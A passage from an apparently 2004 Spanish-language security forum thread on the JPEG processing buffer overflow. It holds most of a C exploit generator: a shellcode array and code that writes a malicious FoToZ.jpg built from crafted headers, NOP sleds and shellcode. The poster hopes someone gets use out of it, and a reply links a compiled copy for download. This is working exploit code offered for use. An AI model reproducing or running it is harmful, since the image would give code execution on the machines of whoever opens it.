"\xB2\x8C\x6E\x2C\x01\xF8\x56\x04\x7B\xC9\xA3\x05\x4F\xB4\xD5\xA2"
"\xDF\xF6\xFD\xC6\xE2\xA7\x3C\x89\x24\xFE\xA9\x5E\xC3\xD4\x6D\xF7"
"\x85\xC9\x59\x39\x63\x59\x9B\xFF\x00\x06\x1A\x5E\xFA\x69\x0A\x46"
"\x2B\xC0\x9F\xC2\x91\x8B\xC9\x40\x58\x16\xBD\xF2\xC0\xD3\x3B\x7F"
"\x2D\xA9\xBB\x2E\x49\x42\x6D\x52\x70\x39\x62\x9F\x08\x73\x6F\x20"
"\x09\x64\x00\x01\x83\x2B\x00\xD5\x97\xBC\xDC\xF6\x9C\xA7\x66\xEA"
"\xD9\xB6\x9F\xE1\x56\xDE\xBA\xEC\x65\xB4\x44\xD8\xE3\x8D\x52\x2F"
"\x36\xCE\x74\x33\x7E\x9F\x2E\x22\x99\x8B\xC9\x6D\x5A\x6D\x9E\xA8"
"\x22\xC7\x0C\xA8\x62\x3D\x17\x1D\x2F\xC8\xFA\xD4\xB0\x9E\x14\x45"
"\x45\xD5\x6E\x96\x04\xE1\xF1\xA0\x37\x90\x5B\xD8\x7F\x81\x57\x1B"
"\xC8\xD5\x48\x27\x0E\x3C\x6B\x3D\xCD\x44\x15\x92\x41\x25\x94\x82"
"\xAE\x0E\x42\x97\x8D\x8C\x6D\xAE\x56\xB8\x26\xD8\x0F\xE3\x43\x93"
"\x73\x18\x75\x28\xD7\xF8\xD5\xFF\x00\x74\xE4\x18\xC2\x82\xAC\x6F"
"\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68"
;

void main()
{
        FILE *fin,*fout;
        unsigned int i=0,j=0;
        unsigned char c;
  mkdir("FoToZ_JPEG");
  fout=fopen("FoToZ_JPEG\\FoToZ.jpg","wb");
       
        if( !fout ) {
                printf("ERROR OPENING FILES\n");
                return;
        }
        printf("shellcode size is %u bytes\n", sizeof(shellcode)-1);
        for(i=0;i<sizeof(shellcode)-1;i++)
                if( 0xD9FF == *(unsigned short *)&shellcode[i] ) {
                        printf("WARNING: SHELLCODE CONTAINS FFh D9h\n"
                                  "FIX UR SHELLCODE\n");
                        return;
                }
        j=sizeof(header1)+sizeof(setNOPs1)+sizeof(header2)-3;
        for(i=0;i<sizeof(header1)-1;i++)
  fputc(header1[i],fout);
        for(i=0;i<sizeof(setNOPs1)-1;i++)
  fputc(setNOPs1[i],fout);
        for(i=0;i<sizeof(header2)-1;i++)
  fputc(header2[i],fout);
        for(i=j;i<0x63c;i++) fputc(0x90,fout); // stuff in a couple of NOPs
        j=i;
        for(i=0;i<sizeof(shellcode)-1;i++)
  fputc(shellcode[i],fout);
        for(i=i+j;i<0x1000-sizeof(setNOPs2)+1;i++)
  fputc(0x90,fout); // stuff NOPs
        // (stuffing NOPs is becoming a bad habit)
        for(j=0;i<0x1000 && j<sizeof(setNOPs2)-1;i++,j++)
  fputc(setNOPs2[j],fout);
       
        fprintf(fout,"\xFF\xD9");
        fcloseall();
}


Mañana me piro una semana de vacaciones... a ver si cuando vuelva, alguien le ha sacado algún provecho ;)

Salu2



En línea

Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #14 en: 23 Septiembre 2004, 10:13 »

El segundo exploit ya esta compilado, lo rulas  y te crea una carpeta FoToZ_JPEG donde hay archivo jpg,  que ese es supuestamente el jpg malicioso, pero  ami no me petea por mi sistema operativo

compilado

http://mx.geocities.com/petzulu2004/get.zip

Gracias Gospel


Man-In-the-Middle
En línea
Páginas: [1] 2 3 4 5 6 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines